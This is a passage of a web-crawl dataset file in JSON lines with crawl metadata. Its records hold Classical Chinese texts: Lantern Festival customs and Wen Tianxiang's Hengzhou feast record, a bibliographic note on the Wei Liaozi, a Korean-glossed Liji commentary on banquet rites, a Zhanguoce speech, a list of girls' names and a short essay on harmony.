巻雲 伊168 伊58 雪風 陸奥 比叡 文月 古鷹 赤城 瑞鳳 鬼怒 榛名 霧島 瑞鶴 黒潮 大潮 北上 金剛 舞風 鈴谷 夕張 大和 熊野 長門 飛龍 高雄 隼鷹 五月雨 満潮 鳳翔 加賀 吹雪 深雪 島風 翔鶴 阿武隈 千代田 青葉 加古 子日 千歳 長月 望月 三日月 球磨 皐月 飛鷹 初霜 暁 磯波 不知火 朝潮 陽炎 霰 霞 衣笠 初風 五十鈴 由良 伊勢 山城 綾波 白雪 天龍 秋雲 長波 長良 菊月 羽黒 漣 曙 朧 白露 村雨 夕立 響 若葉 時雨 多摩 日向 愛宕 足柄 祥鳳 大井 如月 龍田 敷波 扶桑 叢雲 名取 初雪 利根 木曾 三隈 夕雲 最上 荒潮 初春 神通 那珂 妙高 川内 那智 筑摩","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/ashitano244.hatenablog.com\/entry\/2013\/10\/23\/222941","date":"2017-08-19T03:30:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105297.38\/warc\/CC-MAIN-20170819031734-20170819051734-00549.warc.gz","language":"lzh","language_score":0.5711269379,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5711269378662109, \"jpn_Jpan_score\": 0.3641032874584198, \"cmn_Hani_score\": 0.05267956480383873}","num_words":115,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.342,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.571,"perplexity_score":500.0,"cluster_detection":1} +{"text":"元宵懸燈於庭,男女輩間往其鄰近親戚之家,俗謂 邏燈。\n《雲南志書》\n雲南府\n元宵賞燈張樂,列星橋火樹於道。次夕長幼攜遊,爆 竹插香於其處。相傳以為祛疾。\n雲龍州\n元宵前迎三崇神,沿街立松棚。設供獻張燈爆竹歌 舞,旬日送回。\n彌勒州\n元宵後一夕,燃香於橋,以石投水,取水浴目。傳能卻 病。\n上元部藝文一\n燈賦 梁簡文帝\n何解凍之嘉月,值蓂莢之盛開。草含春而色動,雲飛 綵以偕來。南油俱滿,西漆爭然。蘇徵安息,蠟出龍川。 斜暉交映,倒影澄鮮。\n衡州上元記 宋文天祥\n歲正月十五,衡州張燈火,合樂宴。憲若倉於庭州之 士女,傾城來觀。或累數舍竭蹶而至,凡公府供帳所 在,聽其往來,一無所禁。蓋習俗然也。咸淳十年,吏部 宋侯主是州,予適忝陳臬事常平,以王事詣長沙。會 改除於是,侯與予為客主禮。是晚,予從城南竟城東, 夾道觀者如堵入州,從者殆不得行。既就席左右楹 及階,階及門駢肩累足,如魚頭。其聲如風雨潮 汐,咫尺音吐不相辨。侑者集三面之人趨而前,執事 幾不可曲折。酒五行,升車詣東廳。廳後稍偏,為燕座 俎豆設焉。主人既肅賓車不得御,乃步入燕,座之。次 至兒童婦女,雜襲而爭先。男子冠以上,往往引去及 獻酬。州民為百戲之舞,擊鼓吹笛斕斑而前,或蒙供 焉。極其俚野以為樂遊者,益自外至不可復次序。婦 女有老而禿者、有羸無齒者、有傴僂而相攜者、冠者、 髽者、有盛塗澤者、有無飾者。有攜兒者、有負在手者、 有任在肩者,或哺乳者、有睡者、有睡且蘇者、有啼者、 有啼不止者、有為兒弁髦者、有為總角者、有解后敘 契闊者、有自相笑語者、有甲笑乙者、有傾堂笑者、有 無所睹隨人笑者、跛者、倚者、走者、趨者、相牽者、相扶 擎者、以力相拒觸者、有醉者、有者、咳者、唾者、嚏者、 欠伸者、汗且扇者、有正簪珥者、有整冠者、有理裳結 襪者、有履閾者、有倚屏者、有攀檻者、有執燭跂惟恐 墮者、有酒半去者、有方來者、有至席徹者,兒童有各 隨其親且長者、有無所隨而自至者、立者、半坐於地 者、有半坐杌下者、有環客主者、有坐復立者、有立復 坐者、視婦女之數,多寡相當。蓋自數月之孩以至七 八十之老靡不有焉。其望於燕座之門外,趑趄而不 及近者又不知其幾千計也。當是時,舞者如儺之奔 狂之呼。不知其褻也。觀者如立通都大衢,與俳優上 下不知其肆也。予與侯頹然其間,如為家人之長坐 於堂,而驕兒騃女充斥其間,不知其偪也。予起而舉 酒祝侯曰:以平易近民,而民近之。豈弟父母侯之謂 矣。侯且執爵前曰:惟使者,使民不冤無湮,鬱其和 我。是以大有民。予避且謝。則復諸侯曰:使時和歲豐, 日星明穊,舉海內得以安其生而樂其時,衡與賜焉。 維天子之功,臣等何力之有。侯拱而立,侯,蜀人也。因 與予言,益州承平時,元夕宴遊,其風流所親見。蓋出 於祖宗德澤,天地涵育之久,而今不可復得矣。予愍 然,私念之開慶景定間,衡以中州,不得免於難。今城 郭室廬公私文物猶草創,綿蕝云爾。然以幾世幾年 所為郡,而十數年間卒然脩復。得其大體,非國家忠 厚,積累於民力,愛養有素,豈望如今所成立哉。蜀自 秦以來,更千餘年,無大兵革。至於本朝,侈繁鉅麗,遂 甲於天下。不幸蕩析,若鬼神之忌盈者。今衡之民,務 本而勤力,歲時一觀遊之外,衣食其耕桑儉而不泰。 風氣淳厚,猶南方建德之國。其將進而未已者乎。予 為親懷歸得郡,且行侯選表於朝有日矣。惟一時民 物之概,得於目擊,相與嗟嘆。闊絕而欣喜,不厭於心 者,不當無所紀。且懼夫可愛可愕之狀,俯仰蹉跌,忽 不可以復追也。燕之明日,亟奮筆記之。以庶幾觀風 之意,且使後來者於侯政有可考焉。侯名遇,今居延 平。\n回衡州宋吏部上請元宵宴啟 前人\n麗譙龍炬,春輝左角之星,碧落燕香。夜對西眉之月, 特枉金玉章之貺許。從雲霞佩之遊。遶建章立通明。 預祝六鼇之宴,醉長沙,行湘水,且聽五馬之謠。","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/zh.wikisource.org\/wiki\/Page:Gujin_Tushu_Jicheng,_Volume_017_(1700-1725).djvu\/50","date":"2018-11-16T16:56:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743105.25\/warc\/CC-MAIN-20181116152954-20181116174954-00335.warc.gz","language":"lzh","language_score":0.5978153944,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.5978153944015503, \"cmn_Hani_score\": 0.3150463104248047, \"nan_Hani_score\": 0.052320726215839386, \"wuu_Hani_score\": 0.015465889126062393}","num_words":77,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.767,"perplexity_score":500.0,"cluster_detection":1} +{"text":"周尉繚撰。其人當六國時。不知其本末。或曰魏人。以天官篇有梁惠王問。知之。或又曰齊人。鬼谷子之弟子。劉向別錄。又云繚爲南君學。未詳孰是也。漢志雜家有尉繚二十九篇。隋志作五卷。唐志作六卷。亦並入於雜家。鄭樵譏其見名而不見書。馬端臨亦以爲然。然漢志兵形勢家內。實別有尉繚三十一篇。故胡應麟謂兵家之尉繚。卽今所傳。而雜家之尉繚。並非此書。今雜家亡而兵家獨傳。鄭以爲孟堅之誤者。非也。特今書止二十四篇。與所謂三十一篇者。數不相合。則後來已有所亡佚。非完本矣。其書大指主於分本末。別賓主。明賞罰。所言往往合於正。如云兵不攻無過之城。不殺無罪之人。又云兵者所以誅暴亂禁不義也。兵之所加者。農不離其田業。賈不離其肆宅。士大夫不離其官府。故兵不血刃而天下親。皆戰國談兵者所不道。晁公武讀書志。有張載註尉繚子一卷。則講學家亦取其說。然書中兵令一篇。於誅逃之法。言之極詳。可以想見其節制。則亦非漫無經略。高談仁義者矣。其書坊本無卷數。今酌其篇頁。仍依隋志之目。分爲五卷。","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0203701.html","date":"2018-11-19T04:42:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039745281.79\/warc\/CC-MAIN-20181119043725-20181119065725-00217.warc.gz","language":"lzh","language_score":0.435321033,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.43532103300094604, \"cmn_Hani_score\": 0.24797770380973816, \"nan_Hani_score\": 0.04019264504313469, \"jpn_Jpan_score\": 0.03203897550702095, \"und_Tang_score\": 0.028576331213116646, \"zxx_Latn_score\": 0.019932644441723824, \"wuu_Hani_score\": 0.018678266555070877, \"yue_Hani_score\": 0.012250427156686783, \"und_Xsux_score\": 0.011737266555428505, \"und_Cyrl_score\": 0.011711928993463516, \"und_Bamu_score\": 0.011296524666249752, \"und_Sgnw_score\": 0.01118731964379549}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.435,"perplexity_score":500.0,"cluster_detection":1} +{"text":"此는 明君臣燕飮之義라.\n[長樂陳氏曰先王之爲聘所以致親也而親親之心無所不用則燕之之禮不得而廢言近自乎九族同姓與夫兄弟朋友之親而遠至乎諸侯君臣與夫蠻貊夷狄之邦莫不有恩以見其愛莫不有愛以盡其禮故禮行而人說而天下服者此乃古之所以爲燕也]\n01. 古者에 周天子之官이 有庶子官하니, 庶子官은 職諸侯卿大夫士之庶子之卒[取乃反]하야 掌其戒令과 與其敎治하야 別其等하며, 正其位하야 國有大事이어든 則率國子而致於大子하야 唯所用之하나니, 若有甲兵之事이어든 則授之以車甲하야 合其卒[子忽反]伍하며, 置其有司하야 以軍法으로 治之하며, 司馬弗正[征]하나니라. 凡國之政事에 國子이 存游卒하야 使之修德學道하야 春合諸學秋하고, 合諸射하야 以考其藝而進退之하나니라.[653]\n庶子는 即夏官諸子職也이니, 下大夫二人이 掌其戒令이라. 以下는 皆周禮文이라. 卒은 讀爲倅副貳也라. 此官이 專主諸侯以下衆庶之子하야 副倅於父之事라. 戒令은 謂任之征役也요, 敎治는 謂修德學道也요, 別其等者는 分別其貴賤也이니, 此屬皆未命하야 以父之爵으로 爲上下也요, 正其位者는 朝廷之位는 尙爵하고, 學校之位는 尙齒也라. 大事謂大祭祀大喪紀大賓客大燕享之類也라. 唯所用之는 唯太子之所役使也라. 百人이 爲卒(倅)이요, 五人이 爲伍라. 有司는 統領卒(倅)伍者也라. 司馬弗征者는 以其統屬於太子故,司馬不得而征役之也라. 凡國之政事는 非上文所言大事也라. 游卒은 倅之未仕者也라. 此既小事이니, 乃民庶所爲라. 不使國子之未仕者로 爲之는 蓋欲存之하야 使修德學道하야 以成其材也라. 故,春則合聚之於大學하고, 秋則合聚之於射宮하야 考藝而爲之進退焉이라.\n䟽曰 庶者는 衆也이니, 適子이 衆多故,總謂之庶子요, 非適子庶弟而稱庶子也라. 必知適子者인댄 以其倅이 是副貳於父之言이라.\n呂氏曰 燕禮에 有主人이 升自西階獻이어든 庶子이 阼階之上하고, 又宵則執燭於阼階上이라. 故,此篇에 因陳庶子官之所掌하고, 且明所以建官之義也라.\n[倅:갑자기졸,백사람졸(채).버금쉬,다음,차다,아들,원(고을의 장관),守令]\n[馬氏曰燕義之設始於公族而公族之正始於庶子官記者之言燕義必先述其燕與鄕飮之禮凡以本其始而已司馬治之則處之以義司馬弗征則優之以恩春合諸學而敎之以文所以順陽秋合諸射而敎之以武所以順陰]\n[盱江李氏曰王者之師其備矣乎非直興於閭里抑又取於世族彼以父祖貴富宜有報上之心而況學習德行道藝執不知忠孝之美佐之以金革則與夫干賞蹈利傭徒鬻賣者蓋有間矣且太子將爲君國子將爲臣君臣之分未定而恩義固己接矣則今日之游卒未必不爲嗣王之將帥也轡長馭遠有如是哉]\n[盱:눈부릅뜰우][鬻미음죽,죽죽,팔육,기를국,어릴국][轡고삐비][馭:말부릴어]\n02. 諸侯燕禮之義에 君立阼階之東南하사 南鄕爾卿[句]이어시든 大夫이 皆少進[句]은 定位也요, 君이 席阼階之上은 居主位也요, 君이 獨升立席上하사 西面特立은 莫敢適之義也라.[657]\n爾는 與邇로 同하니, 南鄕爾卿이 句絶이요, 大夫皆小進이 句絶이니, 少進은 稍前也라. 定位者는 定諸臣之位也라. 適은 讀爲敵이니, 自此以下는 皆記者이 擧儀禮正文而釋其義也라.\n[長樂陳氏曰爾之者以示其相親而無嫌於褻也定位則小卿次上卿大夫次所卿士庶子次就位是也阼階之上所以爲主位而君席之所居者也西者作成之地也面乎西則其地乃東矣而東者造始之方也能造始則有君之道能作成則有臣之德是諸侯者屈之而爲臣伸之而爲君夫卿大夫豈其偶者耶此所以西面獨立而無敢敵者也]\n03. 設賓主는 飮酒之禮也요, 使宰夫로 爲獻主는 臣이 莫敢與君亢禮也요, 不以公卿으로 爲賓하고, 而以大夫로 爲賓은 爲疑也이니, 明嫌之義也요, 賓入中庭이어든 君이 降一等而揖之는 禮之也라.[658]\n獻主는 代主人擧爵獻賓也라. 君尊하야 臣不敢抗行賓主之禮라. 宰夫는 主膳食之官也이니, 卑故,抗禮無嫌이라. 記에 曰, 與卿燕則大夫爲賓은 謂與本國之臣으로 燕則然하고, 若鄰國之臣則以上介로 爲賓也이니, 公孤也라. 上公之國에 得置孤一人이라. 公卿之尊이 次於君하니, 復以之爲賓則疑於尊卑無辨이요. 且嫌於偪上也라. 大夫이 位卑하니, 雖暫尊之爲賓이나 無所嫌疑也라.\n方氏이 曰, 既曰爲疑而又曰明嫌者는 蓋疑未至於嫌이니, 特明嫌之義而已라.\n[長樂陳氏曰位不辨則明不正等不別則分不明故膳夫者國之膳食之司也使之爲獻主而不以君言君爲主而大夫爲賓則禮相敵而有所亢矣大夫者知足以帥人者也使之爲賓而不以卿言卿爲賓而主之者在君則體相親而有所疑矣疑爲其近君也亢爲其不臣也易曰君子以辨上下定民志記亦曰禮所以別嫌明微此膳夫爲獻主而大夫爲賓之意也]\n04. 君擧旅於賓과 及君所賜爵을 皆降하야 再拜稽首하고, 升成拜는 明臣禮也요, 君이 答拜之하시나니, 禮無不答은 明君上之禮也요, 臣下이 竭力盡能하야 以立功於國이어든 君必報之以爵祿하시나니, 故로 臣下이 皆務竭力盡能하야 以立功이라. 是以國安而君寧하시나니, 禮無不答은 言上之不虛敢於下也요, 上必明正道하야 以道民하사 民이 道之而有功然後取其什一이라. 故로 上用이 足而下不匱也하나니, 是以上下이 和親而不相怨也이니라. 和寧은 禮之用也이니, 此이 君臣上下之大義也라. 故로 曰호대, 燕禮者는 所以明君臣之義也이니라.[659]\n先是宰夫이 代主人行爵酬賓之後에 君命下大夫二人하야 媵爵하고, 公이 取此媵爵하야 以酬賓이면 賓이 以旅로 酬於西階上이라. 旅는 序也이니, 以此序로 勸卿大夫飮酒也이니, 此之謂君擧旅於賓也요, 君所賜爵則特賜臣下之爵也이니, 此二者는 賓이 皆降西階下하야 再拜稽首어든 公이 命小臣辭則賓升而成拜를 謂復再拜稽首也이니, 先時에 以君辭之로 於禮未成故,云成拜也라.\n楊氏이 曰 按公取媵爵하야 以酬賓은 此別是一禮라. 與尋常酬賓으로 不同하니, 此所謂公爲賓擧旅也라. 燕禮에 君이 使宰夫로 爲獻主는 以臣이 莫敢與君抗禮也이니, 今君이 擧觶於西階之上하야 以酬賓이 可乎아? 蓋君臣之際는 其分이 甚嚴하고, 其情이 甚親이라. 使宰夫로 爲獻主는 所以嚴君臣之分이요. 今擧觶以酬賓에 賓이 西階下拜하나니, 小臣이 辭하야 升成拜어든 公이 奠觶答再拜하고, 公이 卒觶에 賓이 下拜어든 公이 答再拜하야 略去勢分하야 極其謙卑는 所以通君臣之情也라. 註云不言君酬賓於西階上과 及君反位는 尊君하야 空其文也이니, 此又所以嚴君臣之分也라.\n[媵:줄잉,따라보냄,전송,媵妾:시집가는 여인이 데리고 가던 侍妾]\n[嚴陵方氏曰擧旅即下言擧旅行酬也旅序也擧爵以序行酬酢之禮也鄕飮酒禮亦謂之相旅即中庸所謂旅酬是也君所賜爵謂旅酬之外君有特賜之爵也升成拜者旣降階而拜又升而拜以成前拜之禮故也賓必再拜以明臣下竭力盡能以立功於國君必答拜以明君上發爵賜祿以報功於臣故曰明臣禮也又曰明君上之禮也或言君或言臣或言臣下或言君臣上下皆互相備也言上則不特主君言下則不特主臣力言其才能言其藝民旣有功則興事造業生財有道矣夫然後取之以什一之法也道之至於有功然後取之此其不虛取於民也寡乎什一則上之用不足多乎什一則下之財或匱唯其取之以什一故繼之上用足而下不匱也什一爲天下之正如此亦由乎上之人明正道以行之而已和寧禮之用也以其國安而君寧故曰寧論語曰禮之用和爲貴曲禮曰人有禮則安皆以是而已夫君臣上下之大義不過如此故曰燕禮所以明君臣之義也]\n05. 席을 小卿이 次上卿하고, 大夫이 次小卿하고, 士庶子이 以次로 就位於下하며, 獻君하야든 君擧旅行酬而后에 獻卿하며, 卿擧旅行酬而后에 獻大夫하며, 大夫이 擧旅行酬而后에 獻士하며, 士이 擧旅行酬而后에 獻庶子하며, 俎豆牲體薦羞이 皆有等差는 所以明貴賤也라.[663]\n設席之位는 上卿이 在賓席之東하고, 小卿이 在賓席之西하니, 皆是南面東上而遙相次라. 此所謂小卿이 次上卿也요, 大夫이 在小卿之西하니 是는 大夫이 次小卿也요, 士이 受獻于西階之上하고, 退立于阼階下하야 西面北上하고, 庶子이 受獻于阼階上하고 亦退立于阼階下하야 庶子이 次於士하니, 是는 士庶子이 以次就位于下也라. 獻君者는 主人이 酌以獻也라. 公取媵爵하야 以酬賓이어든 賓이 以旅로 酬於西階上하니, 此所謂獻君이라. 君이 擧旅行酬也而后에 獻卿者는 亦主人이 獻之也요, 公이 又行一爵은 亦媵者之爵也라. 若卿若賓은 惟公所酬이니, 卿이 亦以旅于西階之上에 禮亦如初라. 此亦是君擧旅而言卿擧者는 蓋君爲卿擧耳라. 下言大夫擧旅士擧旅其義同而後獻大夫는 亦主人之獻也라. 公이 又擧奠觶以賜하나니, 是는 爲大夫擧旅也요, 主人이 獻士어든 公이 復賜之하나니, 是는 爲士擧旅也라. 公擧旅之禮이 止於士不及庶子矣而后獻庶子者는 主人이 獻之于阼階之上也라. 牲은 狗也라.\n䟽曰, 公及卿大夫士이 等牲體薦羞之하니, 等差는 燕禮不載라.\n[藍田呂氏曰禮之所貴別而已矣親䟽長幼貴賤賢不肖皆別也大別之中又有細別存焉均親也而有斬衰大功小功緦麻袒免之異均長也而有父事兄事肩隨之異故以賤事貴有十等焉所謂王公卿士皀輿隸僚僕臺也君者積尊而爲之也苟無差等民可得而犯之貴貴之義有所不行此亂之所由生也燕禮之別故上卿小卿大夫士庶子其席其就位皆有此獻君獻卿獻大夫獻士獻庶子及擧旅行酬皆有序俎豆牲體薦羞皆有等差君臣貴賤之義極其密察至于此者所以防亂也]\n[皀:향내날흡,고소하다,낱알]","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/47-yeon-uy.htm","date":"2019-02-19T18:32:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247491141.23\/warc\/CC-MAIN-20190219183054-20190219205054-00452.warc.gz","language":"lzh","language_score":0.5005400777,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5005400776863098, \"kor_Hang_score\": 0.2883632779121399, \"cmn_Hani_score\": 0.16437645256519318, \"jpn_Jpan_score\": 0.03722985088825226}","num_words":394,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.501,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戰國策卷二十二 ‧ 魏策一\n張儀為秦連橫說魏王\n張儀為秦連橫,說魏王曰:「魏地方不至千里,卒不過三十萬人。地四平,諸侯四通,條達輻輳,無有名山大川之阻。從鄭至梁,不過百里;從陳至梁,二百餘里。馬馳人趨,不待倦而至梁。南與楚境,西與韓境,北與趙境,東與齊境,卒戍四方,守亭障者參列。粟糧漕庾,不下十萬。魏之地勢,故戰場也。魏南與楚而不與齊,則齊攻其東;東與齊而不與趙,則趙攻其北;不合于韓,則韓攻其西;不親于楚,則楚攻其南。此所謂四分五裂之道也。\n且夫諸侯之為從者,以安社稷、尊主、強兵、顯名也。合從者,一天下,約為兄弟,刑白馬以盟于洹水之上,以相堅也。夫親昆弟、同父母尚有爭錢財,而欲恃詐偽反覆蘇秦之餘謀,其不可以成亦明矣。大王不事秦,秦下兵攻河外,拔卷、衍、燕、酸棗,劫衞取晉陽,則趙不南;趙不南,則魏不北;魏不北,則從道絕;從道絕,則大王之國欲求無危不可得也。秦挾韓而攻魏,韓劫于秦,不敢不聽。秦、韓為一國,魏之亡可立而須也,此臣之所以為大王患也。為大王計,莫如事秦,事秦則楚、韓必不敢動;無楚、韓之患,則大王高枕而臥,國必無憂矣。\n且夫秦之所欲弱莫如楚,而能弱楚者莫若魏。楚雖有富大之名,其實空虛;其卒雖眾,多然而輕走,易北,不敢堅戰。魏之兵南面而伐,勝楚必矣。夫虧楚而益魏,攻楚而適秦,嫁禍安國,此善事也。大王不聽臣,秦甲出而東,雖欲事秦而不可得也。\n且夫從人多奮辭而寡可信,說一諸侯之王,出而乘其車;約一國而反,而成封侯之基。是故天下之游士,莫不日夜搤腕瞋目切齒以言從之便,以說人主。人主覽其辭,牽其說,惡得無眩哉?臣聞積羽沈舟,羣輕折軸,眾口鑠金,故願大王之熟計之也。」\n魏王曰:「寡人蠢愚,前計失之。請稱東藩,築帝宮,受冠帶,祠春秋,效河外。」","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/297.htm","date":"2019-02-16T06:46:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247479885.8\/warc\/CC-MAIN-20190216045013-20190216071013-00186.warc.gz","language":"lzh","language_score":0.5433670878,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5433670878410339, \"cmn_Hani_score\": 0.37905949354171753, \"nan_Hani_score\": 0.04595600441098213, \"wuu_Hani_score\": 0.02251020446419716}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.669,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n宣水英 宣瑶楠 宣楠瑶 宣雪 宣俏瑶 宣迦倩 宣杞瑶 宣锦瑶 宣槿瑶 宣家怡 宣静怡 宣继红 宣晓红 宣英花 宣憬瑶 宣黎丽 宣海婷 宣自美 宣自琼 宣星瑶 宣心瑶 宣欣瑶 宣瑶欣 宣莲瑶 宣瑶莲 宣婧瑶 宣佳怡 宣瑶 宣佳瑶 宣月瑶 宣吉瑶 宣静瑶 宣香瑶 宣香婷 宣婷裕 宣又文 宣明玉 宣燕秀 宣茂英 宣瑛 宣照花 宣丽红 宣雅嫣 宣琴堤 宣爱花 宣永文 宣佳媛 宣义红 宣奕琳 宣奕玲 宣东秀 宣东媛 宣秋艳 宣胜艳 宣超美 宣玲 宣秀琴 宣红芬 宣弘芬 宣淼英 宣妙英 宣磊莹 宣文娟 宣晓艳 宣岚婷 宣贻玲 宣嫣然 宣思怡 宣沁媛 宣沁怡 宣潇怡 宣洁萍 宣美娟 宣思婧 宣丝颖 宣秋芳 宣黎玉 宣莉玉 宣起红 宣玉婷 宣瑞娟 宣绮婷 宣羽莹 宣伟娜 宣美玲 宣一丽 宣佳颖 宣佳文 宣立艳 宣阿蓉 宣玉莹 宣秀莹 宣佳嫣 宣莹嫣 宣语莹 宣语英 宣嫣语 宣音嫣 宣丹嫣 宣秀嫣 宣娟 宣佳红 宣筱文 宣丞蓉 宣娉婷 宣晓莹 宣乐蓉 宣炯燕 宣筱妍 宣乐妍 宣佳妍 宣淑倩 宣淑娥 宣秀梅 宣成英 宣敏玉 宣静蓉 宣翠梅 宣桂霞 宣呵怡 宣琳 宣娟娟 宣瑛瑛 宣英 宣珠芬 宣箫玉 宣骁玉 宣英英 宣伯霞 宣欣婷 宣妍青 宣荣花 宣佳丽 宣诗妍 宣凤丽 宣颉婧 宣晓丽 宣小丽 宣傲雪 宣莹盈 宣怡盈 宣惠燕 宣怡帆 宣凌燕 宣耀文 宣燕丽 宣彩燕 宣沛怡 宣沛瑶 宣未娟 宣莉馨 宣海蓉 宣德芳 宣海燕 宣懿玲 宣译婷 宣燕芳 宣齐玉 宣丽玲 宣立玲 宣张梅 宣启文 宣齐文 宣根英 宣妹 宣芝霞 宣茹芸 宣茹珈 宣茹桐 宣荣霞 宣惠婷 宣志丽 宣静茹 宣茹 宣晓茹 宣芸瑶 宣僮瑶 宣俪瑶 宣愉瑶 宣榆瑶 宣柠瑶 宣枫瑶 宣杏瑶 宣悦瑶 宣梅 宣瑾瑶 宣忏瑶 宣桐瑶 宣伽瑶 宣昵瑶 宣若婷 宣玉洁 宣力文 宣倩倩 宣曼怡 宣悦涵 宣楠妍 宣楠燕 宣季红 宣建莹 宣嫣嫣 宣艳红 宣立文 宣雪芬 宣田颖 宣田莹 宣煜莹 宣亚茹 宣思莹 宣思瑶 宣思颖 宣秋莹 宣翔文 宣志文 宣熹文 宣熙文 宣银霞 宣向红 宣小英 宣惠英 宣冰雪 宣玲钰 宣博文 宣文瑶 宣玉芳 宣秋燕 宣玲玲 宣爱芬 宣玲萍 宣花 宣浩冉 宣宁妍 宣学红 宣燕青 宣伟萍 宣军英 宣君英 宣丹丽 宣佩莉 宣香蓉 宣虹芳 宣利英 宣雪琴 宣亚萍 宣竖琳 宣秀玲 宣莉莉 宣广丽 宣阿英 宣雪英 宣琼 宣秀英 宣婷晗 宣利红 宣美娥 宣嘉瑶 宣卓瑶 宣蓉 宣悦儿 宣悦悦 宣丽娜 宣爱萍 宣易萍 宣婧 宣欢琴 宣帅文 宣跃文 宣晓莉 宣婷 宣明艳 宣伊艳 宣雨艳 宣中艳 宣妍 宣慧芳 宣惠芳 宣凤英 宣茗悦 宣悦茗 宣子悦 宣艳婷 宣晓梅 宣艳艳 宣洁洁 宣东洁 宣语妍 宣女妍 宣媛圆 宣媛 宣媛媛 宣芬芬 宣女嫣 宣文婷 宣文文 宣羽文 宣粤文 宣粤悦 宣燕萍 宣怡欣 宣兆颖","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/www.ooo681.cn\/show_A41.aspx","date":"2019-09-18T23:01:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573368.43\/warc\/CC-MAIN-20190918213931-20190918235931-00030.warc.gz","language":"lzh","language_score":0.4955122471,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.4955122470855713, \"yue_Hani_score\": 0.3211193382740021, \"nan_Hani_score\": 0.09676975011825562, \"cmn_Hani_score\": 0.06977231055498123, \"jpn_Jpan_score\": 0.01170321460813284}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.496,"perplexity_score":500.0,"cluster_detection":1} +{"text":"中和之道,立典之本也。謂之不可罔論,不可自議。故可以為典,覗其善惡諸相,以教化天下萬民。\n雖苦於難辭己見,惟盲人摸象、管中窺豹,不得其實。乃貯多論而闊其穰,聽多聞而識其廣。是以為之中。\n是正反陰陽,兩極相消中和而生萬物;是熱寒濕乾,互抵其傷而不減藥效。是以為之和。","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/zh-classical.wikipedia.org\/wiki\/%E7%B6%AD%E5%9F%BA%E5%A4%A7%E5%85%B8:%E5%88%A4%E4%BE%8B%E5%BC%95%E8%A8%BB\/%E8%AD%B0%E5%88%AA\/%E4%B8%AD%E5%92%8C","date":"2020-01-24T08:01:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250616186.38\/warc\/CC-MAIN-20200124070934-20200124095934-00382.warc.gz","language":"lzh","language_score":0.5578383207,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5578383207321167, \"cmn_Hani_score\": 0.36832401156425476, \"nan_Hani_score\": 0.05927088484168053, \"yue_Hani_score\": 0.010622922331094742}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.66,"perplexity_score":500.0,"cluster_detection":1} 